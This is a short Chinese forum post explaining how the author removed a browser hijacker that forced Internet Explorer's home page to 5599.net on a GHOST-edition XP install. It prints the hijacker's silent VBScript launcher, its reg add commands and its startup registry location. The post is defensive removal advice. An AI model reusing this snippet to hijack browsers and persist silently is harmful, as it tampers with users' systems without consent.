|
删除http://www.5599.net/?10
最近重装电脑，系统是ＧＨＯＳＴ版的ＸＰ。照例安装360安全卫士。
ＩＥ的首页为ＨＴＴＰ://ＷＷＷ.5599.ＮＥＴ/?10。我用360修复ＩＥ，不行，进入注册表，修改ＩＥ的默认页面。这样，虽然可以了，但每次开机总提示ＩＥ被修改。
最后只好找启动项了，在启动项里找到一个“１”的启动项，没有出口公司。启动的是ctfmon.vbs这个，很可疑。于是找到文件C:\WINDOWS\system32\ctfmon.vbs右键->编辑：
复制内容到剪贴板代码:
DIM objShell
set objShell=wscript.createObject("wscript.shell")
iReturn=objShell.Run("cmd.exe /C C:\WINDOWS\system32\system.cmd", 0, TRUE)
这个简单了，顺藤摸瓜再找system.cmd这个文件就行，还是右键->编辑：
复制内容到剪贴板代码:
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Start Page" /t reg_sz /d [url]http://www.5599.net/?10[/url] /f
reg add "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main" /v "Default_Page_URL" /t reg_sz /d [url]http://www.5599.net/?10[/url] /f
看到没，问题出在这里了。
由于这几段代码都没什么问题，所以杀毒软件和360安全卫士都不会对它采取措施。
解释一下，第一个文件是让建一个wscript.shell的对像，而这个对像要做的，是用ＣＭＤ运行system.cmd里写的这些东西，也就是改注册表里的ＩＥ默认页面。
最后，这个文件在注册表里的位置是HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run。自己改一下就行。
|